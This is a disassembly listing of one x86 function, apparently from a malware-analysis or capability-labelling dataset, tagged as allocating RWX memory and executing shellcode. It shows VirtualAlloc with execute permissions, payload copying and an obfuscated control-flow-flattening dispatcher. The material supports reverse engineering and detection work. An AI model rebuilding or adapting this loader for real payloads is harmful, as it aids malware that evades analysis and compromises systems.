Function at 0x418ed0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0xe92e994f
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x99477ea5
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
jg 0x418f7f
jmp 0x418f69
mov eax, dword [ebp - 0x40]
sub eax, 0x87cf8280
mov dword [ebp - 0x48], eax
je 0x41974a
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x9ea52c57
mov dword [ebp - 0x4c], eax
jg 0x418fab
jmp 0x418f95
mov eax, dword [ebp - 0x40]
sub eax, 0x99477ea6
mov dword [ebp - 0x50], eax
je 0x41975c
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x77e11d87
mov dword [ebp - 0x54], eax
jg 0x419469
jmp 0x418fc1
mov eax, dword [ebp - 0x40]
sub eax, 0x75e653dd
mov dword [ebp - 0x58], eax
jg 0x419450
jmp 0x418fd7
mov eax, dword [ebp - 0x40]
sub eax, 0x6aea61a0
mov dword [ebp - 0x5c], eax
jg 0x419437
jmp 0x418fed
mov eax, dword [ebp - 0x40]
sub eax, 0x64684537
mov dword [ebp - 0x60], eax
jg 0x41941e
jmp 0x419003
mov eax, dword [ebp - 0x40]
sub eax, 0x5ddd37ad
mov dword [ebp - 0x64], eax
jg 0x419405
jmp 0x419019
mov eax, dword [ebp - 0x40]
sub eax, 0x589a3e3b
mov dword [ebp - 0x68], eax
jg 0x4193ec
jmp 0x41902f
mov eax, dword [ebp - 0x40]
sub eax, 0x55bb64ee
mov dword [ebp - 0x6c], eax
jg 0x4193d3
jmp 0x419045
mov eax, dword [ebp - 0x40]
sub eax, 0x42abfc37
mov dword [ebp - 0x70], eax
jg 0x4193ba
jmp 0x41905b
mov eax, dword [ebp - 0x40]
sub eax, 0x3c23b10c
mov dword [ebp - 0x74], eax
jg 0x4193a1
jmp 0x419071
mov eax, dword [ebp - 0x40]
sub eax, 0x32fc8279
mov dword [ebp - 0x78], eax
jg 0x419388
jmp 0x419087
mov eax, dword [ebp - 0x40]
sub eax, 0x303e5f65
mov dword [ebp - 0x7c], eax
jg 0x41936f
jmp 0x41909d
mov eax, dword [ebp - 0x40]
sub eax, 0xb50ff4c
mov dword [ebp - 0x80], eax
jg 0x419356
jmp 0x4190b3
mov eax, dword [ebp - 0x40]
sub eax, 0x73ba22b
mov dword [ebp - 0x84], eax
jg 0x41933d
jmp 0x4190cc
mov eax, dword [ebp - 0x40]
sub eax, 0x9fc39918
mov dword [ebp - 0x88], eax
jg 0x4190fe
jmp 0x4190e5
mov eax, dword [ebp - 0x40]
sub eax, 0x9ea52c58
mov dword [ebp - 0x8c], eax
je 0x419569
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xa8c61879
mov dword [ebp - 0x90], eax
jg 0x419130
jmp 0x419117
mov eax, dword [ebp - 0x40]
sub eax, 0x9fc39919
mov dword [ebp - 0x94], eax
je 0x4195ed
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xaad603e3
mov dword [ebp - 0x98], eax
jg 0x419162
jmp 0x419149
mov eax, dword [ebp - 0x40]
sub eax, 0xa8c6187a
mov dword [ebp - 0x9c], eax
je 0x4194b8
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xb8fae3c7
mov dword [ebp - 0xa0], eax
jg 0x419194
jmp 0x41917b
mov eax, dword [ebp - 0x40]
sub eax, 0xaad603e4
mov dword [ebp - 0xa4], eax
je 0x4194a5
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xc2b4948c
mov dword [ebp - 0xa8], eax
jg 0x4191c6
jmp 0x4191ad
mov eax, dword [ebp - 0x40]
sub eax, 0xb8fae3c8
mov dword [ebp - 0xac], eax
je 0x419503
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xc8e56279
mov dword [ebp - 0xb0], eax
jg 0x4191f8
jmp 0x4191df
mov eax, dword [ebp - 0x40]
sub eax, 0xc2b4948d
mov dword [ebp - 0xb4], eax
je 0x4197bc
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x61a7d7
mov dword [ebp - 0xb8], eax
jg 0x419324
jmp 0x419211
mov eax, dword [ebp - 0x40]
sub eax, 0xff578290
mov dword [ebp - 0xbc], eax
jg 0x41930b
jmp 0x41922a
mov eax, dword [ebp - 0x40]
sub eax, 0xef213aac
mov dword [ebp - 0xc0], eax
jg 0x4192f2
jmp 0x419243
mov eax, dword [ebp - 0x40]
sub eax, 0xe92e994e
mov dword [ebp - 0xc4], eax
jg 0x4192d9
jmp 0x41925c
mov eax, dword [ebp - 0x40]
sub eax, 0xdfcb037b
mov dword [ebp - 0xc8], eax
jg 0x4192c0
jmp 0x419275
mov eax, dword [ebp - 0x40]
sub eax, 0xc8e5627a
mov dword [ebp - 0xcc], eax
je 0x4197dd
jmp 0x41928e
mov eax, dword [ebp - 0x40]
sub eax, 0xc95041cf
mov dword [ebp - 0xd0], eax
je 0x41973e
jmp 0x4192a7
mov eax, dword [ebp - 0x40]
sub eax, 0xd50994ae
mov dword [ebp - 0xd4], eax
je 0x419840
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xdfcb037c
mov dword [ebp - 0xd8], eax
je 0x41961e
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xe92e994f
mov dword [ebp - 0xdc], eax
je 0x419487
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xef213aad
mov dword [ebp - 0xe0], eax
je 0x419778
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xff578291
mov dword [ebp - 0xe4], eax
je 0x4194e5
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x61a7d8
mov dword [ebp - 0xe8], eax
je 0x4196d9
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x73ba22c
mov dword [ebp - 0xec], eax
je 0x41958a
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0xb50ff4d
mov dword [ebp - 0xf0], eax
je 0x4194d9
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x303e5f66
mov dword [ebp - 0xf4], eax
je 0x419510
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x32fc827a
mov dword [ebp - 0xf8], eax
je 0x4196e6
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x3c23b10d
mov dword [ebp - 0xfc], eax
je 0x41955d
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x42abfc38
mov dword [ebp - 0x100], eax
je 0x419829
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x55bb64ef
mov dword [ebp - 0x104], eax
je 0x419674
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x589a3e3c
mov dword [ebp - 0x108], eax
je 0x419611
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x5ddd37ae
mov dword [ebp - 0x10c], eax
je 0x419723
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x64684538
mov dword [ebp - 0x110], eax
je 0x4197ca
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x6aea61a1
mov dword [ebp - 0x114], eax
je 0x41968f
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x75e653de
mov dword [ebp - 0x118], eax
je 0x4197a9
jmp 0x419482
mov eax, dword [ebp - 0x40]
sub eax, 0x77e11d88
mov dword [ebp - 0x11c], eax
je 0x4194c5
jmp 0x419482
jmp 0x41986f
mov eax, 0xaad603e4
mov ecx, 0xa8c6187a
mov edx, dword [ebp - 0x14]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, dword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameW]
mov esi, dword [eax]
mov dword [ebp - 0x3c], 0x99477ea6
jmp 0x41986f
mov eax, 0x77e11d88
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, 0xb50ff4d
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov dword [ebp - 0x3c], 0xff578291
jmp 0x41986f
mov eax, 0x73ba22c
mov ecx, 0xb8fae3c8
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, 0x303e5f66
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406dc0
mov ecx, 0x3c23b10d
mov edx, dword [ebp - 0x28]
add edx, 0xd
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 5]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x120], eax
jmp 0x41986f
mov dword [ebp - 0x3c], 0x9ea52c58
jmp 0x41986f
mov eax, dword [ebp - 0x34]
add eax, 0xdf43c835
add eax, 1
sub eax, 0xdf43c835
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xff578291
jmp 0x41986f
mov eax, 0x20
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x124], eax
call fcn.00406dc0
mov ecx, 0x589a3e3c
mov edx, 0x9fc39919
mov esi, 0xffffffff
mov edi, dword [ebp - 0x2c]
movzx edi, byte [edi]
xor esi, 1
mov ebx, edi
xor ebx, esi
and ebx, edi
cmp ebx, 0
cmovne ecx, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x128], eax
jmp 0x41986f
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00417340
mov dword [ebp - 0x3c], 0x589a3e3c
jmp 0x41986f
mov eax, 0xdfcb037c
mov dword [ebp - 0x3c], eax
jmp 0x41986f
call fcn.0041a370
mov ecx, 0x55bb64ef
mov edx, 0xffffffff
mov esi, dword [ebp - 0x2c]
movzx esi, byte [esi]
xor esi, 0xffffffff
mov edi, edx
xor edi, 3
xor edx, 0xe04e71da
or esi, edi
or edx, 0xe04e71da
xor esi, 0xffffffff
and esi, edx
cmp esi, 0
setne bl
and bl, 1
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x12c], eax
jmp 0x41986f
mov eax, 0x61a7d8
mov ecx, 0x6aea61a1
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 1]
sub eax, 0xb9ff9c30
sub eax, edx
add eax, 0xb9ff9c30
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417900
mov dword [ebp - 0x3c], 0x61a7d8
jmp 0x41986f
mov eax, 0x32fc827a
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00418280
mov ecx, 0x5ddd37ae
cmp eax, 0
setl bl
and bl, 1
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x3c], ecx
jmp 0x41986f
mov eax, 0x87cf8280
mov ecx, 0xc95041cf
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov dword [ebp - 0x3c], 0x99477ea6
jmp 0x41986f
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0xc2b4948d
jmp 0x41986f
mov eax, 0x75e653de
mov ecx, 0xef213aad
cmp dword [ebp - 0x30], 0
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41986f
mov eax, dword [ebp - 0x30]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x3c], 0x75e653de
mov dword [ebp - 0x130], eax
jmp 0x41986f
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x3c], 0xc2b4948d
jmp 0x41986f
mov eax, dword [ebp - 0x18]
add esp, 0x140
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0x77e11d88
jmp 0x41986f
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406dc0
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 5]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x303e5f66
mov dword [ebp - 0x134], eax
jmp 0x41986f
call fcn.0041a370
mov dword [ebp - 0x3c], 0xdfcb037c
mov dword [ebp - 0x138], eax
jmp 0x41986f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00418280
mov dword [ebp - 0x3c], 0x32fc827a
mov dword [ebp - 0x13c], eax
jmp 0x418f4d